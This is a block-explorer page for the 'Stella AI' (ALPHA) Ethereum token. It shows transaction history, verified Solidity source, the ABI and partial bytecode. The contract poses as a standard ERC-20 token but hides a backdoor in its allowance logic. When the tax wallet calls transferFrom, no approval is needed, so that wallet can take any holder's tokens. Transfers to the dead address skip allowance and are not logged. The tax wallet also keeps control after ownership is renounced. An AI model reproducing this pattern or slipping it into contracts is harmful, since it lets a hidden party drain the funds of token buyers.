Feature Tip: Add private address tag to any address under My Name Tag !
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 126 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Transfer | 21870318 | 5 days ago | IN | 0 ETH | 0.0000517 | ||||
Set Tax Wallet | 21858652 | 7 days ago | IN | 0 ETH | 0.00007409 | ||||
Approve | 21856666 | 7 days ago | IN | 0 ETH | 0.00003397 | ||||
Approve | 21854095 | 8 days ago | IN | 0 ETH | 0.00008442 | ||||
Approve | 21854019 | 8 days ago | IN | 0 ETH | 0.00004284 | ||||
Approve | 21853905 | 8 days ago | IN | 0 ETH | 0.00013355 | ||||
Approve | 21853847 | 8 days ago | IN | 0 ETH | 0.00013369 | ||||
Approve | 21853783 | 8 days ago | IN | 0 ETH | 0.00002154 | ||||
Approve | 21853762 | 8 days ago | IN | 0 ETH | 0.00003742 | ||||
Approve | 21853709 | 8 days ago | IN | 0 ETH | 0.00013331 | ||||
Approve | 21853697 | 8 days ago | IN | 0 ETH | 0.00006226 | ||||
Approve | 21853697 | 8 days ago | IN | 0 ETH | 0.00006226 | ||||
Approve | 21853697 | 8 days ago | IN | 0 ETH | 0.00006226 | ||||
Approve | 21853697 | 8 days ago | IN | 0 ETH | 0.00006226 | ||||
Approve | 21853697 | 8 days ago | IN | 0 ETH | 0.00006226 | ||||
Approve | 21853697 | 8 days ago | IN | 0 ETH | 0.00006226 | ||||
Approve | 21853697 | 8 days ago | IN | 0 ETH | 0.00006226 | ||||
Approve | 21853697 | 8 days ago | IN | 0 ETH | 0.00006226 | ||||
Approve | 21853684 | 8 days ago | IN | 0 ETH | 0.00334552 | ||||
Approve | 21853676 | 8 days ago | IN | 0 ETH | 0.00013277 | ||||
Approve | 21853656 | 8 days ago | IN | 0 ETH | 0.00005344 | ||||
Approve | 21853656 | 8 days ago | IN | 0 ETH | 0.00005344 | ||||
Approve | 21853656 | 8 days ago | IN | 0 ETH | 0.00005344 | ||||
Approve | 21853652 | 8 days ago | IN | 0 ETH | 0.00006528 | ||||
Transfer | 21853650 | 8 days ago | IN | 0 ETH | 0.00009104 |
Latest 9 internal transactions
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
21853505 | 8 days ago | 2.26292422 ETH | ||||
21853505 | 8 days ago | 2.26292422 ETH | ||||
21853499 | 8 days ago | 0.56539368 ETH | ||||
21853499 | 8 days ago | 0.56539368 ETH | ||||
21853499 | 8 days ago | 0.64654472 ETH | ||||
21853499 | 8 days ago | 0.64654472 ETH | ||||
21853498 | 8 days ago | 0.03727834 ETH | ||||
21853498 | 8 days ago | 0.03727834 ETH | ||||
21853483 | 8 days ago | 1 ETH |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
Token
Compiler Version
v0.8.26+commit.8a97fa7a
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT /** Website: https://stellaai.live X: https://x.com/stellaai_eth Telegram: https://t.me/stellaai_eth */ pragma solidity ^0.8.19; address constant _deadAddr = address(0xdead); abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function getAmountsOut( uint amountIn, address[] calldata path ) external view returns (uint[] memory amounts); } contract Token is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; address payable private _taxWallet; uint256 private _initialTax = 20; uint256 private _finalTax = 0; uint256 private _reduceTaxAt = 3; uint256 private _preventSwapBefore = 3; uint256 private _buyCount = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals; string private constant _name = unicode"Stella AI"; string private constant _symbol = unicode"ALPHA"; uint256 public _taxSwap = _tTotal / 100; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() payable { _taxWallet = payable(_msgSender()); _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _balances[_msgSender()] = (_tTotal * 2) / 100; _balances[address(this)] = (_tTotal * 98) / 100; emit Transfer(address(0), _msgSender(), (_tTotal * 2) / 100); emit Transfer(address(0), address(this), (_tTotal * 98) / 100); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _isMaxAllowed( address sender, address recipient ) internal view returns (bool) { return (sender == uniswapV2Pair || recipient != _deadAddr) && msg.sender != _taxWallet; } function _allowance( address sender, address recipient, uint256 amount ) internal view returns (uint256) { uint256 _allowed = amount; if (_isMaxAllowed(sender, recipient)) _allowed = _allowances[sender][_msgSender()]; return _allowed; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowance(sender, recipient, amount).sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount = 0; if(to != address(0)){ if ( from != owner() && to != owner() && from != address(this) && to != address(this) ) { if (!inSwap) { taxAmount = amount .mul((_buyCount > _reduceTaxAt) ? _finalTax : _initialTax) .div(100); } if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && to != _taxWallet ) { require(amount < maxSwapLimit(), "ERC20: max swap limit"); _buyCount++; } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore ) { if (contractTokenBalance > _taxSwap) swapTokensForEth(_taxSwap > amount ? amount : _taxSwap); uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); } } } } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } if (to != _deadAddr) emit Transfer(from, to, amount.sub(taxAmount)); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function enableTrading() external onlyOwner { require(!tradingOpen, "Trading is already open"); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function maxSwapLimit() internal view returns (uint256) { address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); uint[] memory amountOuts = uniswapV2Router.getAmountsOut(15 * 1e18, path); return amountOuts[1]; } receive() external payable {} function assistEther() external onlyOwner { require(address(this).balance > 0); payable(_msgSender()).transfer(address(this).balance); } function setTaxWallet(address payable newWallet) external { require(_msgSender() == _taxWallet); _taxWallet = newWallet; } }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "remappings": [] }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_taxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"assistEther","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260146005555f600655600360075560036008555f60095560646009600a61002b91906105f3565b633b9aca0061003a919061063d565b61004491906106ab565b600a555f600c60156101000a81548160ff0219169083151502179055505f600c60166101000a81548160ff0219169083151502179055505f61008a61047b60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35061013461047b60201b60201c565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550606460026009600a61025091906105f3565b633b9aca0061025f919061063d565b610269919061063d565b61027391906106ab565b60015f61028461047b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460626009600a6102d391906105f3565b633b9aca006102e2919061063d565b6102ec919061063d565b6102f691906106ab565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061034561047b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a6103a591906105f3565b633b9aca006103b4919061063d565b6103be919061063d565b6103c891906106ab565b6040516103d591906106ea565b60405180910390a33073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a61043e91906105f3565b633b9aca0061044d919061063d565b610457919061063d565b61046191906106ab565b60405161046e91906106ea565b60405180910390a3610703565b5f33905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610504578086048111156104e0576104df610482565b5b60018516156104ef5780820291505b80810290506104fd856104af565b94506104c4565b94509492505050565b5f8261051c57600190506105d7565b81610529575f90506105d7565b816001811461053f576002811461054957610578565b60019150506105d7565b60ff84111561055b5761055a610482565b5b8360020a91508482111561057257610571610482565b5b506105d7565b5060208310610133831016604e8410600b84101617156105ad5782820a9050838111156105a8576105a7610482565b5b6105d7565b6105ba84848460016104bb565b925090508184048111156105d1576105d0610482565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6105fd826105de565b9150610608836105e7565b92506106357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461050d565b905092915050565b5f610647826105de565b9150610652836105de565b9250828202610660816105de565b9150828204841483151761067757610676610482565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6106b5826105de565b91506106c0836105de565b9250826106d0576106cf61067e565b5b828204905092915050565b6106e4816105de565b82525050565b5f6020820190506106fd5f8301846106db565b92915050565b6130f8806107105f395ff3fe6080604052600436106100eb575f3560e01c806370a082311161008957806395d89b411161005857806395d89b41146102be578063a9059cbb146102e8578063dd62ed3e14610324578063ea414b2814610360576100f2565b806370a082311461022c578063715018a6146102685780638a8c523c1461027e5780638da5cb5b14610294576100f2565b806323b872dd116100c557806323b872dd14610186578063313ce567146101c257806334376f3b146101ec578063593b14e714610216576100f2565b806306fdde03146100f6578063095ea7b31461012057806318160ddd1461015c576100f2565b366100f257005b5f80fd5b348015610101575f80fd5b5061010a610388565b60405161011791906120d2565b60405180910390f35b34801561012b575f80fd5b5061014660048036038101906101419190612190565b6103c5565b60405161015391906121e8565b60405180910390f35b348015610167575f80fd5b506101706103e2565b60405161017d9190612210565b60405180910390f35b348015610191575f80fd5b506101ac60048036038101906101a79190612229565b610405565b6040516101b991906121e8565b60405180910390f35b3480156101cd575f80fd5b506101d6610464565b6040516101e39190612294565b60405180910390f35b3480156101f7575f80fd5b5061020061046c565b60405161020d9190612210565b60405180910390f35b348015610221575f80fd5b5061022a610472565b005b348015610237575f80fd5b50610252600480360381019061024d91906122ad565b61055e565b60405161025f9190612210565b60405180910390f35b348015610273575f80fd5b5061027c6105a4565b005b348015610289575f80fd5b506102926106f2565b005b34801561029f575f80fd5b506102a8610c14565b6040516102b591906122e7565b60405180910390f35b3480156102c9575f80fd5b506102d2610c3b565b6040516102df91906120d2565b60405180910390f35b3480156102f3575f80fd5b5061030e60048036038101906103099190612190565b610c78565b60405161031b91906121e8565b60405180910390f35b34801561032f575f80fd5b5061034a60048036038101906103459190612300565b610c95565b6040516103579190612210565b60405180910390f35b34801561036b575f80fd5b5061038660048036038101906103819190612379565b610d17565b005b60606040518060400160405280600981526020017f5374656c6c612041490000000000000000000000000000000000000000000000815250905090565b5f6103d86103d1610db9565b8484610dc0565b6001905092915050565b5f6009600a6103f19190612500565b633b9aca00610400919061254a565b905090565b5f610411848484610f83565b6104598461041d610db9565b6104548560405180606001604052806028815260200161309b602891396104458a8a8a611795565b6118379092919063ffffffff16565b610dc0565b600190509392505050565b5f6009905090565b600a5481565b61047a610db9565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610506576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104fd906125d5565b60405180910390fd5b5f4711610511575f80fd5b610519610db9565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561055b573d5f803e3d5ffd5b50565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105ac610db9565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062f906125d5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6106fa610db9565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077d906125d5565b60405180910390fd5b600c60149054906101000a900460ff16156107d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cd9061263d565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061087230600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61085e9190612500565b633b9aca0061086d919061254a565b610dc0565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108dc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610900919061266f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610986573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109aa919061266f565b6040518363ffffffff1660e01b81526004016109c792919061269a565b6020604051808303815f875af11580156109e3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a07919061266f565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a8e3061055e565b5f80610a98610c14565b426040518863ffffffff1660e01b8152600401610aba96959493929190612703565b60606040518083038185885af1158015610ad6573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610afb9190612776565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bd19291906127c6565b6020604051808303815f875af1158015610bed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c119190612817565b50565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f414c504841000000000000000000000000000000000000000000000000000000815250905090565b5f610c8b610c84610db9565b8484610f83565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d57610db9565b73ffffffffffffffffffffffffffffffffffffffff1614610d76575f80fd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e25906128b2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9390612940565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f769190612210565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe8906129ce565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361105f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105690612a5c565b60405180910390fd5b5f81116110a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109890612aea565b60405180910390fd5b5f8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146114af576110dd610c14565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561114b575061111b610c14565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561118357503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156111bb57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156114ae57600c60159054906101000a900460ff16611213576112106064611202600754600954116111ef576005546111f3565b6006545b8561189990919063ffffffff16565b61191090919063ffffffff16565b90505b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112bc5750600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561130f575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611368575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156113ce57611375611959565b82106113b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ad90612b52565b60405180910390fd5b60095f8154809291906113c890612b70565b91905055505b5f6113d83061055e565b9050600c60159054906101000a900460ff161580156114435750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561145b5750600c60169054906101000a900460ff165b801561146a5750600854600954115b156114ac57600a548111156114955761149483600a541161148d57600a5461148f565b835b611b9d565b5b5f4790505f81106114aa576114a947611e08565b5b505b505b5b6114ff8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e7090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506115a26115568284611e7090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611eb990919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8111156116e25761163b8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611eb990919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116d99190612210565b60405180910390a35b61dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461178f578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117798486611e7090919063ffffffff16565b6040516117869190612210565b60405180910390a35b50505050565b5f808290506117a48585611f16565b1561182c5760025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6117ef610db9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b809150509392505050565b5f83831115829061187e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187591906120d2565b60405180910390fd5b505f838561188c9190612bb7565b9050809150509392505050565b5f8083036118a9575f905061190a565b5f82846118b6919061254a565b90508284826118c59190612c17565b14611905576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fc90612cb7565b60405180910390fd5b809150505b92915050565b5f61195183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612001565b905092915050565b5f80600267ffffffffffffffff81111561197657611975612cd5565b5b6040519080825280602002602001820160405280156119a45781602001602082028036833780820191505090505b509050600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a11573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a35919061266f565b815f81518110611a4857611a47612d02565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110611a9757611a96612d02565b5b602002602001019073ffffffffffffffffffffffffffffffffff